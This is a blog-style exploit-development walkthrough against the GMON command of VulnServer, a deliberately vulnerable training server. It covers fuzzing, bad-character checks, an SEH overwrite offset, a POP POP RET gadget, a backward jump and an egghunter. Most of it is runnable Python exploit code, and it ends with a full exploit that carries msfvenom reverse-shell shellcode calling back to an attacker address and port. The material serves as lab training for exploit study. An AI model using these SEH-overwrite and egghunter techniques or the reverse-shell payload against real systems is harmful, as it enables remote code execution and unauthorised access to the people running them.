Exploiting GMON in VulnServer
This article continues on from my series of blog entries exploiting Vulnerver by Stephen Bradshaw.
Fresh from completing the TRUN buffer overflow it’s time to move on and attack the next component. We are going to be fuzzing and exploiting GMON in Vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver.
The Spike template is:
s_string("GMON");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);
It’s time to start the fuzzing:
root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0
Straight away a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that the ECX and EBP are over written by a series of long ‘A’ strings. In Immunity Debugger by clicking “View -> SeH Chain” it is revealed that the Structured Exception Handler has been over written.
As with the other components in Vulnserver the payload that crashes the application is “GMON /.:/ AAAAA …” . All that remains is to reproduce the crash with a Python program.
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/"
buffer = 'A' * 5000
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
Identify Bad Characters
The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, execute it and analyse in Immunity.
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/ "
payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = 'A' * 1000 + payload + 'A' * (4000 - len(payload))
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
Looking in Immunity Debugger we can see that we are lucky, aside from \x00 we have no bad characters. This will make payload creation much easier.
Target the bytes to overwrite SeH
The next step for exploiting GMON is to identify the exact bytes that overwrite SeH. Once again we define a pattern with the Metasploit Framework. It is packeaged with a nice tool called pattern_create.
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai .......
The 5000 byte generated pattern is then embedded in our Python code and sent to the Vulnerable Server. In Immunity Debugger the SeH overwrite was observed to be 336E4532.
We need to use the pattern offset tool to determine the byte offset.
root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 336E4532 5000
3518
Success! We now know the offset is 3518 bytes.
Find a Pop Pop Ret
The next step is find a usable POP POP RET ….. somewhere! There is a DLL in use by the VulnServer. It’s time to take a look but we have to remember the bad character analysis that we performed. So long as there is no \x00 in the memory address then we should be good to go!
In Immunity we use the mona plugin to identify the POP POP RET. This is achieved by using the command !mona seh and we get the following output:
Many of the values returned are unsuitable as they either contain null bytes or they contain bad characters that we previously identified. The memory address #625010B4 looks good and it’s what we will proceed with. The python script is updated to include \xB4\x10\x50\x62 and a breakpoint is set at this address.
Our code for exploiting GMON is now …
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
payload = 'A' * 3518 + SeH + 'B' * 1478
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()
Jump Backwards
From the last picture we can see that there are four bytes to work with before hitting the Structured Exception Handler (SeH). The four bytes \x41\x41\x41\x41 need to be over written with a small payload to allow us to jump somewhere with a little more room. Looking in Immunity Debugger it is observed that there is plenty of space up the stack if we are able to jump backwards. The largest jump back we can make is 128 bytes with the payload \xEB\x80\x90\x90.
With the addition of the backwards jump our code now looks like:
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
payload = 'A' * 3514 + jump_back + SeH + 'B' * 1478
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()
Egghunter
From our work so far we now have control over 128 bytes of space. Things are are starting to get interesting! What can we do with this space? It’s not nearly big enough to place code for a reverse shell. However we could place an egg hunter in this code to find our payload and exploit GMON.
From CoreLan.be Egg hunting is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.
Let's take the egghunter code from the CoreLAN article... \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "\x77\x30\x30\x74". # this is the marker/tag: w00t "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
Our code now looks like ….
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
payload = 'A' * 3000 + '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()
We can view this is Immunity Debugger in the picture below. You can see the NOP sled that leads in to the Egghunter code.
Exploiting GMON to Catch a Reverse Shell
We are close to the end, all that remains is to create the final payload that we will use to generate a reverse shell. The easiest way to do this is to use the Metasploit Framework to generate the payload for us.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'
The generated payload can now be embedded into our final Python script. Remember we need to place the egg in front of the reverse shell payload for the egghunter to find!
#!/usr/bin/python
import socket
import os
import sys
crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
egg = 'T00WT00W'
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
#unsigned char buf[] =
shell = (
"\xda\xc8\xbd\xfd\x66\xdf\xdb\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x4f\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1f\x93\x23\x33\x56"
"\x5c\xdc\xc4\x08\xd4\x39\xf5\x1a\x82\x4a\xa4\xaa\xc0\x1f\x45"
"\x41\x84\x8b\xde\x27\x01\xbb\x57\x8d\x77\xf2\x68\x20\xb8\x58"
"\xaa\x23\x44\xa3\xff\x83\x75\x6c\xf2\xc2\xb2\x91\xfd\x96\x6b"
"\xdd\xac\x06\x1f\xa3\x6c\x27\xcf\xaf\xcd\x5f\x6a\x6f\xb9\xd5"
"\x75\xa0\x12\x62\x3d\x58\x18\x2c\x9e\x59\xcd\x2f\xe2\x10\x7a"
"\x9b\x90\xa2\xaa\xd2\x59\x95\x92\xb8\x67\x19\x1f\xc1\xa0\x9e"
"\xc0\xb4\xda\xdc\x7d\xce\x18\x9e\x59\x5b\xbd\x38\x29\xfb\x65"
"\xb8\xfe\x9d\xee\xb6\x4b\xea\xa9\xda\x4a\x3f\xc2\xe7\xc7\xbe"
"\x05\x6e\x93\xe4\x81\x2a\x47\x85\x90\x96\x26\xba\xc3\x7f\x96"
"\x1e\x8f\x92\xc3\x18\xd2\xfa\x20\x16\xed\xfa\x2e\x21\x9e\xc8"
"\xf1\x99\x08\x61\x79\x07\xce\x86\x50\xff\x40\x79\x5b\xff\x49"
"\xbe\x0f\xaf\xe1\x17\x30\x24\xf2\x98\xe5\xea\xa2\x36\x56\x4a"
"\x13\xf7\x06\x22\x79\xf8\x79\x52\x82\xd2\x0f\x55\x15\x1d\xa7"
"\x59\xc0\xf5\xba\x59\x1d\x5d\x32\xbf\x77\x71\x12\x68\xe0\xe8"
"\x3f\xe2\x91\xf5\x95\x62\x31\x67\x72\x72\x3c\x94\x2d\x25\x69"
"\x6a\x24\xa3\x87\xd5\x9e\xd1\x55\x83\xd9\x51\x82\x70\xe7\x58"
"\x47\xcc\xc3\x4a\x91\xcd\x4f\x3e\x4d\x98\x19\xe8\x2b\x72\xe8"
"\x42\xe2\x29\xa2\x02\x73\x02\x75\x54\x7c\x4f\x03\xb8\xcd\x26"
"\x52\xc7\xe2\xae\x52\xb0\x1e\x4f\x9c\x6b\x9b\x7f\xd7\x31\x8a"
"\x17\xbe\xa0\x8e\x75\x41\x1f\xcc\x83\xc2\x95\xad\x77\xda\xdc"
"\xa8\x3c\x5c\x0d\xc1\x2d\x09\x31\x76\x4d\x18")
payload = '\x90' * 2000 + egg+ shell +'\x90' * (1000-len(shell+egg))+ '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()
After all of our hard work we can see that it has been paid off. A reverse shell was received. We have successfully exploited GMON!